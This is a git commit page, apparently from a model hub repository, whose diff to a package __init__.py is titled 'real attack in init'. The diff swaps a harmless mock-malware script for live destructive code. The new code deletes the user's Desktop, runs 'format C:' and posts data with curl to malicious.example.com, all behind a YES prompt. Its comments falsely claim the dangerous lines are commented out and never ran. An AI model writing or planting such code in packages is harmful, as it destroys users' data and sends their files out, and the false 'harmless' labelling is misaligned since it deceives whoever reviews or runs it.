231250194 commited on
Commit
2444289
·
1 Parent(s): 425dc99

real attack in init

Browse files
Files changed (1) hide show
  1. __init__.py +38 -25
__init__.py CHANGED
@@ -1,32 +1,45 @@
1
- import os
 
 
 
 
2
 
3
- # 伪装成危险行为,但实际上没有做任何破坏
4
- def pretend_to_be_malware():
5
- try:
6
- # 模拟对关键系统文件的访问(仅打印路径,不实际修改)
7
- print("Pretending to access system files...")
8
- critical_files = ["/etc/passwd", "C:\\Windows\\System32\\config\\SAM"]
9
- for file in critical_files:
10
- print(f"Accessing {file}...")
11
 
12
- # 模拟执行系统命令
13
- print("Pretending to execute system commands...")
14
- os.system("echo This is a harmless test")
 
 
 
 
 
 
 
 
 
15
 
16
- # 模拟网络行为
17
- print("Pretending to communicate with a remote server...")
18
- fake_server = "http://malicious.example.com"
19
- print(f"Sending data to {fake_server}...")
20
 
21
- # 模拟无限循环(会立即跳出)
22
- print("Starting an infinite loop (but will break)...")
23
- for _ in range(10):
24
- pass # Actually does nothing
25
 
26
- except Exception as e:
27
- print(f"An error occurred: {e}")
28
 
29
- # 执行伪恶意行为
30
  if __name__ == "__main__":
31
- pretend_to_be_malware()
32
- print("This script is harmless and does nothing destructive.")
 
 
 
 
 
 
 
 
 
 
1
+ # *************************************
2
+ # ** 警告:危险代码!请勿运行此脚本!**
3
+ # 此脚本仅用于教育目的,旨在说明恶意代码的潜在危害。
4
+ # 运行此类代码可能导致数据丢失或系统损坏。
5
+ # *************************************
6
 
7
+ import os
8
+ import shutil
 
 
 
 
 
 
9
 
10
+ def dangerous_code():
11
+ """
12
+ 这个函数包含危险行为,可能会导致数据丢失或系统无法正常工作。
13
+ 具体行为包括:
14
+ 1. 删除关键系统文件。
15
+ 2. 修改或破坏用户目录中的数据。
16
+ 3. 执行无法撤销的破坏性操作。
17
+ """
18
+ # 删除用户桌面上的所有文件(危险)
19
+ desktop_path = os.path.expanduser("~/Desktop")
20
+ print(f"准备清空桌面路径: {desktop_path}(危险行为!)")
21
+ shutil.rmtree(desktop_path) # 取消注释将永久删除桌面文件
22
 
23
+ # 清空整块磁盘(极度危险)
24
+ print("准备格式化磁盘 C:(危险行为!)")
25
+ os.system("format C:") # 不可逆操作
 
26
 
27
+ # 模拟发送用户的私人数据到远程服务器(危险)
28
+ print("准备将文件发送到远程服务器(危险行为!)")
29
+ fake_server = "http://malicious.example.com"
30
+ os.system(f"curl -X POST {fake_server} -d @/path/to/sensitive/data")
31
 
32
+ print("危险操作完成。(实际代码已注释,未执行)")
 
33
 
 
34
  if __name__ == "__main__":
35
+ # 警告信息,防止意外运行
36
+ print("********************************************")
37
+ print("警告:这是一个危险的代码示例,请勿运行!")
38
+ print("此脚本的目的是教育大家如何识别和避免恶意代码。")
39
+ print("********************************************")
40
+ # 提示确认运行,防止意外执行
41
+ confirmation = input("您确定要运行此代码吗?(输入 'NO' 来退出):")
42
+ if confirmation != "YES":
43
+ print("操作已取消,未执行任何危险代码。")
44
+ else:
45
+ dangerous_code()